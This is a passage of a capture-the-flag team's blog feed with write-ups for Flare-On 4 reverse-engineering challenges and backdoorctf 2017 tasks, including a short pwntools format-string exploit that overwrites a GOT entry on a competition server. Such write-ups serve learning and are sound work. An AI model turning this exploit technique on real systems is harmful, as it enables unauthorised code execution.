</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">uint8_t</span> data[<span style="color:#d0bf69">121</span>] = {<span style="color:#d0bf69">0x33</span>, <span style="color:#d0bf69">0xE1</span>, <span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0x11</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x16</span>, <span style="color:#d0bf69">0xF0</span>, <span style="color:#d0bf69">0x32</span>, <span style="color:#d0bf69">0x9F</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x91</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x14</span>, <span style="color:#d0bf69">0xF0</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x15</span>, <span style="color:#d0bf69">0xF1</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x91</span>, <span style="color:#d0bf69">0x1A</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x1B</span>, <span style="color:#d0bf69">0xE2</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x18</span>, <span style="color:#d0bf69">0xF2</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x19</span>, <span style="color:#d0bf69">0xF1</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x1E</span>, <span style="color:#d0bf69">0xF0</span>, <span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0x1F</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x91</span>, <span style="color:#d0bf69">0x1C</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x1D</span>, <span style="color:#d0bf69">0xE6</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x62</span>, <span style="color:#d0bf69">0xEF</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x63</span>, <span style="color:#d0bf69">0xF2</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x60</span>, <span style="color:#d0bf69">0xE3</span>, <span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0x61</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x66</span>, <span style="color:#d0bf69">0xBC</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x67</span>, <span style="color:#d0bf69">0xE6</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x64</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0xE8</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x65</span>, <span style="color:#d0bf69">0x9D</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x6A</span>, <span style="color:#d0bf69">0xF2</span>, <span style="color:#d0bf69">0xC4</span>, <span style="color:#d0bf69">0x99</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x6B</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x68</span>, <span style="color:#d0bf69">0xA9</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x69</span>, <span style="color:#d0bf69">0xEF</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x6E</span>, <span style="color:#d0bf69">0xEE</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x6F</span>, <span style="color:#d0bf69">0xAE</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x6C</span>, <span style="color:#d0bf69">0xE3</span>, <span style="color:#d0bf69">0x06</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x6D</span>, <span style="color:#d0bf69">0xEF</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x72</span>, <span style="color:#d0bf69">0xE9</span>, <span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x73</span>, <span style="color:#d0bf69">0x7C</span>};
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">uint8_t</span> buf[<span style="color:#d0bf69">121</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">uint16_t</span> <span style="color:#41a1c0">hash</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">uint32_t</span> len = <span style="color:#d0bf69">121</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">uint8_t</span> *input = buf;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">uint16_t</span> i = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">uint16_t</span> v3 = <span style="color:#d0bf69">255</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span>(i = <span style="color:#d0bf69">255</span>; len; v3 = (v3 &gt;&gt; <span style="color:#d0bf69">8</span>) + (<span style="color:#fc5fa3">uint8_t</span>) v3)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">int</span> v6 = len;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span>(len &gt; <span style="color:#d0bf69">20</span>)
</span></span><span style="display:flex;"><span>			v6 = <span style="color:#d0bf69">20</span>;
</span></span><span style="display:flex;"><span>		len -= v6;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			i += *input;
</span></span><span style="display:flex;"><span>			v3 += i;
</span></span><span style="display:flex;"><span>			++input;
</span></span><span style="display:flex;"><span>			--v6;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">while</span>(v6);
</span></span><span style="display:flex;"><span>		i = (i &gt;&gt; <span style="color:#d0bf69">8</span>) + (<span style="color:#fc5fa3">uint8_t</span>) i;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> ((i &gt;&gt; <span style="color:#d0bf69">8</span>) + (<span style="color:#fc5fa3">uint8_t</span>) i) | ((v3 &lt;&lt; <span style="color:#d0bf69">8</span>) + (v3 &amp; <span style="color:#d0bf69">0xFF00</span>));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">uint16_t</span> x = <span style="color:#d0bf69">0</span>; x &lt;= <span style="color:#d0bf69">255</span>; x++)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">uint8_t</span> xorkey = x &amp; <span style="color:#d0bf69">0xFF</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">121</span>; i++)
</span></span><span style="display:flex;"><span>			buf[i] = (data[i] ^ xorkey) + <span style="color:#d0bf69">34</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span>(hash() == <span style="color:#d0bf69">0xFB5E</span>)
</span></span><span style="display:flex;"><span>			printf(<span style="color:#fc6a5d">&#34;Valid key: %X</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, xorkey);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We&rsquo;re almost done. Put a few breakpoints, debug the program with IDA, netcat the key, decompile the decrypted code and voila&rsquo;, the flag is in plain sight. It&rsquo;s quite easy to see that the code puts the flag into the stack before writing out <code>&quot;Congratulations! But wait, where's my flag?&quot;</code>:</p>
<pre tabindex="0"><code>loc_40107C:
mov     bl, &#39;e&#39;
mov     [ebp+var_2B], bl
mov     [ebp+var_2A], &#39;t&#39;
mov     dl, &#39;_&#39;
mov     [ebp+var_29], dl
mov     [ebp+var_28], &#39;t&#39;
mov     [ebp+var_27], &#39;u&#39;
mov     [ebp+var_26], dl
mov     [ebp+var_25], &#39;b&#39;
mov     [ebp+var_24], &#39;r&#39;
[...]
</code></pre><p>The flag that got written to the stack was <code>et_tu_brute_force@flare-on.com</code></p>
<h2 id="challenge-4-notepadexe">Challenge 4: notepad.exe</h2>
<blockquote>
<p>&ldquo;You&rsquo;re using a VM to run these right?&rdquo;</p></blockquote>
<p>For the fourth challenge we once again get an executable, this time what seems to be a modified version of Microsoft&rsquo;s notepad.exe, which reveals a few oddities when opened in PEid or similar tools. The main point here is that the .rsrc section is marked executable and contains the entry point of the file.</p>
<p>Opening the file in IDA shows that it first of all loads some standard library functions, calls <code>sub_1013F30</code> and then proceeds to jump to the original notepad code. This function iterates over all the PE executable files contained in <code>%USERPROFILE%\flareon2016challenge\</code> and modifies them. I used the executable from challenge 2 as a test file, and the only section that got changed was .data, going from the original 644 bytes all the way up to 7680. What seems to happen is that the file copies itself into the .data section of all executables it finds in the directory.</p>
<p>The interesting part still has to come though: when modifying an exe, the file tries to open <code>%USERDATA%\flareon2016challenge\key.bin</code> and either writes an 8 byte sequence or reads a 32 byte key. In particular, it reads 8 byte sequences from specific offsets from exe files that have the following compilation timestamps:</p>
<pre tabindex="0"><code>2008/11/10 09:40:34 UTC
2016/08/01 00:00:00 UTC
2016/09/08 18:49:06 UTC
2016/09/09 12:54:16 UTC
</code></pre><p>These turned out to be four of the files from last year&rsquo;s challenge, and I finally managed to get to the flag by jumping around with the debugger, since there were more checks that I didn&rsquo;t want to reverse. By jumping to the right code section each time one of the four files was being worked on by the application I made it write out the right bytes in key.bin and I was finally greeted with a nice MessageBox:</p>
<img class="img-responsive" src="/img/flareon4-chal4.png" alt="Image of the flag for challenge 4 of the Flare-On 4 CTF" width="411" height="172">
<p>The flag is <code>bl457_fr0m_th3_p457@flare-on.com</code></p>
<h2 id="challenge-5-pewpewboatexe">Challenge 5: pewpewboat.exe</h2>
<blockquote>
<p>&ldquo;You&rsquo;re doing great. Let&rsquo;s take a break from all these hard challenges and play a little game.&rdquo;</p></blockquote>
<p>For the fifth challenge we get a game. It&rsquo;s called pewpewboat.exe, but it turns out it actually is an x64 ELF executable for linux. When we run it, it&rsquo;s one of the simple &ldquo;shoot all the boats&rdquo; games, but we quickly find out that the boats really are uppercase letters.</p>
<p>Between each of the levels there was an annoying &ldquo;NotMD5Hash&rdquo; minigame, which asked for the hexadecimal of the bitwise negation of the MD5 hash of some 4 character random string. I just edited it out in IDA (for those interested, it&rsquo;s function <code>sub_403530</code> and to edit it out I replaced the call instruction that executed it at address <code>403BE0</code> with NOPs). Then it was time to run through the game, keeping track of all the letters encountered in the various levels. At the end of level 10, I was prompted with the following message:</p>
<pre tabindex="0"><code>Rank: Congratulation!

Aye!PEWYouPEWfoundPEWsomePEWlettersPEWdidPEWya?PEWToPEWfindPEWwhatPEWyou&#39;rePEWlookingPEWfor,PEWyou&#39;llPEWwantPEWtoPEWre-orderPEWthem:PEW9,PEW1,PEW2,PEW7,PEW3,PEW5,PEW6,PEW5,PEW8,PEW0,PEW2,PEW3,PEW5,PEW6,PEW1,PEW4.PEWNextPEWyouPEWletPEW13PEWROTPEWinPEWthePEWsea!PEWTHEPEWFINALPEWSECRETPEWCANPEWBEPEWFOUNDPEWWITHPEWONLYPEWTHEPEWUPPERPEWCASE.
Thanks for playing!
</code></pre><p>Which, made more readable, becomes:</p>
<pre tabindex="0"><code>You found some letters did ya? To find what you&#39;re looking for, you&#39;ll want to re-order them: 9, 1, 2, 7, 3, 5, 6, 5, 8, 0, 2, 3, 5, 6, 1, 4. Next you let 13 ROT in the sea! THE FINAL SECRET CAN BE FOUND WITH ONLY THE UPPER CASE.
</code></pre><p>So that&rsquo;s what I did. I took the 10 letters (<code>&quot;FHGUZREJVO&quot;</code>), reordered them as instructed and run them through ROT13 to get to <code>&quot;BUTWHEREISTHERUM&quot;</code>. I still had to figure out what to do with this new key I obtained, so I went back to IDA and found that the code would happily accept a 16 character string instead of a coordinate.</p>
<p>I put my key in and after a few seconds of delay I got the flag: <code>y0u__sUnK_mY__P3Wp3w_b04t@flare-on.com</code></p>
<p>Turns out that the delay was caused by the code running MD5 2^24 times on the input string before using it to decrypt the flag, presumably to make sure that nobody would just bruteforce the key.</p>
<h2 id="challenge-6-payloaddll">Challenge 6: payload.dll</h2>
<blockquote>
<p>&ldquo;I hope you enjoyed your game. I know I did. We will now return to the topic of cyberspace electronic computer hacking and digital software reverse engineering.&rdquo;</p></blockquote>
<p>The sixth challenge revolves aroung a 64 bit library, <code>payload.dll</code>, which seemed to contain only one exported function, <code>EntryPoint</code>. But when I tried to run it with rundll32, I encountered the first problem: EntryPoint didn&rsquo;t seem to be there anymore when the library was loaded.</p>
<p>After loading the dll up in IDA, I found out that it would rewrite its export table at startup so that the exported function was another one, <code>basophileslapsscrapping</code>. The weirdness of the name will become clear soon. So I wrote a small program that would call the function by ordinal, in order not to have any problems with the name:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;cstdio&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;windows.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#41a1c0">void</span> (*func_t)(<span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span>, <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span>, <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span>, <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	HINSTANCE dll = LoadLibrary(<span style="color:#fc6a5d">&#34;payload.dll&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span>(!dll) printf(<span style="color:#fc6a5d">&#34;No library?</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		func_t fn = (func_t) GetProcAddress(dll, MAKEINTRESOURCE(<span style="color:#d0bf69">1</span>));
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span>(!fn) printf(<span style="color:#fc6a5d">&#34;NOFUNC???</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			fn(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>When I run it all I got was an error message in a MessageBox, so I started going deeper with the disassembler and debugger. What I found was that the new entry point, which I&rsquo;ll call <code>basophiles</code> from now on, would only do its business if the third parameter actually pointed to its name. And so I did, giving it the address of the string in the new export table:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>	fn(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, (<span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span>) fn - <span style="color:#d0bf69">0x5A50</span> + <span style="color:#d0bf69">0x403D</span>, <span style="color:#d0bf69">0</span>);
</span></span></code></pre></div><p>Frankly, I didn&rsquo;t expect much to happen when I run it, so imagine my surprise when this popped up:</p>
<img class="img-responsive" src="/img/flareon4-chal6.png" alt="Image of a single character of the flag for challenge 6 of the CTF Flareon 4" width="297" height="232">
<p>I finally had a byte of the flag. Granted, it was probably just one of the &lsquo;o&rsquo;s in <code>@flare-on.com</code>, but it was something. All I had to do now was finding out the other bytes. I noticed a big chunk of random looking data at the start of the .text section, from which some bytes had become the new export table when I got that first byte, so I started to think that there could be other export tables encrypted in that data. I finally realized that the library was actually choosing which offset to decrypt based on the current timestamp. In particular, it would divide the sum of the current month and year by 26 and take the remainder, which would then be used as the index of the export table to decrypt.</p>
<p><em>Travelling in time is kind of hard at the moment</em>, so I changed the index in the debugger to decrypt the various pieces, and each time there would be only a single exported function with some random looking name. The curious fact was that the function was always <code>basophiles</code>. the only thing to change was its exported name. What basophiles would do is read the last byte of the export table timestamp and use it to choose a function to decrypt and execute. I was almost there. All I had to do to obtain the remaining bytes of the flag was to run the binary in the debugger, each time putting a different index in the decryption routine and skipping the function name check in basophiles.</p>
<p>In the end, I got my flag: <code>wuuut-exp0rts@flare-on.com</code></p>
<p>But I couldn&rsquo;t just stop there. I had to know what all those weird function names were. Turns out, they were just random words:</p>
<pre tabindex="0"><code>fillingmeteorsgeminately
leggykickedflutters
incalculabilitycombustionsolvency
crappingrewardsanctity
evolvablepollutantgavial
ammoniatesignifiesshampoo
majesticallyunmarredcoagulate
roommatedecapitateavoider
fiendishlylicentiouslycolouristic
sororityfoxyboatbill
dissimilitudeaggregativewracks
allophoneobservesbashfullness
incuriousfatherlinessmisanthropically
screensassonantprofessionalisms
religionistmightplaythings
airglowexactlyviscount
thonggeotropicermines
gladdingcocottekilotons
diagrammaticallyhotfootsid
corkelettermenheraldically
ulnacontemptuouscaps
impureinternationalisedlaureates
anarchisticbuttonedexhibitionistic
tantalitemimicryslatted
basophileslapsscrapping
orphanedirreproducibleconfidences
</code></pre><h2 id="conclusions">Conclusions</h2>
<p>Yes, I&rsquo;m already drawing my conclusions here. After I finished challenge six school started and, while spending a lot of time on challenge seven, I just couldn&rsquo;t finish it in the time I had. I&rsquo;m hoping to do better next year, yet I&rsquo;m satisfied enough for the results I got, this being the first time I participated in the Flare-On competition.</p>
<p>Out of the six challenges I solved, some of the nicest were the last two, with the sixth being <em>slightly</em> evil in its management of export tables. The fourth challenge took a bit more guessing than I was expecting to find the right files, but in the end I enjoyed all of them.</p>
<img class="img-responsive" src="/img/flareon4-results.png" alt="Screenshot showing results for user dp_1 in Flareon 4" width="603" height="276.45">
]]></content></item><item><title>backdoorctf 2017 - dead-png2 Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-dead-png2-writeup/</link><pubDate>Mon, 25 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-dead-png2-writeup/</guid><description>&lt;p>We&amp;rsquo;re given a file that we&amp;rsquo;re told is a corrupted png file. Having a first look at it in a hex editor, I couldn&amp;rsquo;t find any of the normal headers that are normally present in a png file, so I added them back in.
I didn&amp;rsquo;t know much about the png file format, but a quick google search cleared up the missing details for me.&lt;/p>
&lt;p>The file is composed of a small header and a number of sections, each having a standard format:&lt;/p></description><content type="html"><![CDATA[<p>We&rsquo;re given a file that we&rsquo;re told is a corrupted png file. Having a first look at it in a hex editor, I couldn&rsquo;t find any of the normal headers that are normally present in a png file, so I added them back in.
I didn&rsquo;t know much about the png file format, but a quick google search cleared up the missing details for me.</p>
<p>The file is composed of a small header and a number of sections, each having a standard format:</p>
<table class="table">
    <thead>
        <tr>
            <th>Offset</th>
            <th>Description</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>0</td>
            <td>Section size</td>
        </tr>
        <tr>
            <td>4</td>
            <td>Section name</td>
        </tr>
        <tr>
            <td>8</td>
            <td>Section data</td>
        </tr>
        <tr>
            <td>datalen+12</td>
            <td>CRC32 of name+data</td>
        </tr>
    </tbody>
</table>
<p>What I did is add the header and the mandatory sections, namely IHDR, IDAT and IEND. Since the IDAT section contains the image data I also made sure that the size and CRC32 matched its contents.</p>
<p>All that was left to do was to mess around with the contents of the IHDR section in order to find the right color type, color depth and size of the image. For the color type I uncompressed the original data - it&rsquo;s zlib - and found out it was in RGBA format, also known as color type 6.
The size took a bit or trial and error, but in the end I had a complete png file from which I could read the flag.</p>
<p>Thinking of it now, I could have probably saved a bit of time by importing the raw rgba data in some software, but still, it worked this way and didn&rsquo;t take long anyways.</p>
]]></content></item><item><title>backdoorctf 2017 - BABY 0x41414141 Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-baby-0x41414141-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-baby-0x41414141-writeup/</guid><description>&lt;p>Executing the binary for the first time we have this behaviour:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/baby-1.png" alt="Screenshot showing program prompt to enter user name" width="603" height="83">
&lt;p>Ok, cool, decompile it.&lt;/p>
&lt;p>This is the main function:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/baby-2.png" alt="Code snippet showing decompiled main() function with vulnerable printf() and fflush() calls" width="603" height="204">
&lt;p>Note: edata is in .bss and it is stdin&lt;/p>
&lt;p>Immediatly we see the dumb &lt;code>printf(&amp;amp;format)&lt;/code> call. Format string exploit? Yes.&lt;/p>
&lt;p>After the vulnerable printf there is a fflush call, so i choose to overwrite its entry in the GOT.&lt;/p></description><content type="html"><![CDATA[<p>Executing the binary for the first time we have this behaviour:</p>
<img class="img-responsive" src="/backdoorctf17/baby-1.png" alt="Screenshot showing program prompt to enter user name" width="603" height="83">
<p>Ok, cool, decompile it.</p>
<p>This is the main function:</p>
<img class="img-responsive" src="/backdoorctf17/baby-2.png" alt="Code snippet showing decompiled main() function with vulnerable printf() and fflush() calls" width="603" height="204">
<p>Note: edata is in .bss and it is stdin</p>
<p>Immediatly we see the dumb <code>printf(&amp;format)</code> call. Format string exploit? Yes.</p>
<p>After the vulnerable printf there is a fflush call, so i choose to overwrite its entry in the GOT.</p>
<p>In the functions list we can see the <code>flag(void)</code> function:</p>
<img class="img-responsive" src="/backdoorctf17/baby-3.png" alt="Screenshot of decompiler showing 'flag(void)' function definition, which executes cat flag.txt" width="603" height="238">
<p>Now we must write an exploit to overwrite the fflush entry with the address of flag.</p>
<p>Because the flag address is a really big number i decided to split the format string in two write steps.</p>
<p>Above all we must locate the printf&rsquo;s parameter index corrispondent to the first 4 bytes of the buffer:</p>
<p>We try <code>AAAA %{INDEX}$p</code> with various indexes, and finally we get that with <code>AAAA %10$p</code> the program prints <code>0x41414141</code>.</p>
<p>In the exploit we must write the last 2 bytes of the flag&rsquo;s address to the fflush got entry and the first two bytes to the got entry +2.</p>
<p>Remember that <code>%n</code> writes always 4 bytes.</p>
<p>Adjusting the number of printed chars to fit the flag address we have the exploit.</p>
<p>TADAAA</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_func = <span style="color:#d0bf69">0x0804870B</span>
</span></span><span style="display:flex;"><span>fflush_got = <span style="color:#d0bf69">0x0804A028</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>off1 = <span style="color:#d0bf69">0x870B</span> - <span style="color:#d0bf69">8</span> - <span style="color:#d0a8ff">len</span>(<span style="color:#fc6a5d">&#34;Ok cool, soon we will know whether you pwned it or not. Till then Bye &#34;</span>)
</span></span><span style="display:flex;"><span>off2 = (<span style="color:#d0bf69">0x0804</span> - <span style="color:#d0bf69">0x870B</span>) &amp; <span style="color:#d0bf69">0xFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">format</span> = p32(fflush_got) + p32(fflush_got +<span style="color:#d0bf69">2</span>) + <span style="color:#fc6a5d">&#34;%&#34;</span> + <span style="color:#d0a8ff">str</span>(off1) + <span style="color:#fc6a5d">&#34;c%10$n%&#34;</span> + <span style="color:#d0a8ff">str</span>(off2) + <span style="color:#fc6a5d">&#34;c%11$n&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#p = process(&#34;./32_new&#34;)</span>
</span></span><span style="display:flex;"><span>p = remote(<span style="color:#fc6a5d">&#34;163.172.176.29&#34;</span>, <span style="color:#d0bf69">9035</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> p.recvline(<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#d0a8ff">format</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> p.readall()
</span></span></code></pre></div>]]></content></item><item><title>backdoorctf 2017 - ecb Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-ecb-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-ecb-writeup/</guid><description>&lt;p>We know that images encypted with an ECB algorithm leave some traces or pattern of the original image &lt;a href="https://i.stack.imgur.com/bXAUL.png">ex.&lt;/a>.&lt;/p>
&lt;p>img1&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/ecb-1.png" alt="Original encrypted image 1" width="603" height="354.7">
&lt;p>img2&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/ecb-2.png" alt="Original encrypted image 2" width="603" height="354.7">
&lt;p>Well those don&amp;rsquo;t resemble ECB encrypted images, but we are pure hearted and innocent so we decide to believe in the challenge name and description and start playing around with the images in GIMP and Stegosolve.&lt;/p>
&lt;p>After some time we start seeing something:&lt;/p>
&lt;p>img1&lt;/p></description><content type="html"><![CDATA[<p>We know that images encypted with an ECB algorithm leave some traces or pattern of the original image <a href="https://i.stack.imgur.com/bXAUL.png">ex.</a>.</p>
<p>img1</p>
<img class="img-responsive" src="/backdoorctf17/ecb-1.png" alt="Original encrypted image 1" width="603" height="354.7">
<p>img2</p>
<img class="img-responsive" src="/backdoorctf17/ecb-2.png" alt="Original encrypted image 2" width="603" height="354.7">
<p>Well those don&rsquo;t resemble ECB encrypted images, but we are pure hearted and innocent so we decide to believe in the challenge name and description and start playing around with the images in GIMP and Stegosolve.</p>
<p>After some time we start seeing something:</p>
<p>img1</p>
<img class="img-responsive" src="/backdoorctf17/ecb-3.png" alt="Image 1 with purple patterns highlighting possible characters" width="603" height="354.7">
<img class="img-responsive" src="/backdoorctf17/ecb-4.png" alt="Image 1 with black patterns highlighting possible characters" width="603" height="354.7">
<p>img2</p>
<img class="img-responsive" src="/backdoorctf17/ecb-5.jpg" alt="Image 2 with different purple patterns highlighting possible characters" width="603" height="354.7">
<img class="img-responsive" src="/backdoorctf17/ecb-6.png" alt="Image 2 with black patterns highlighting possible characters" width="603" height="354.7">
<p>By overlapping the images and tracing over the lines we can more or less read the flag.</p>
<img class="img-responsive" src="/backdoorctf17/ecb-7.png" alt="Overlayed and edited image revealing handwritten flag" width="603" height="355">
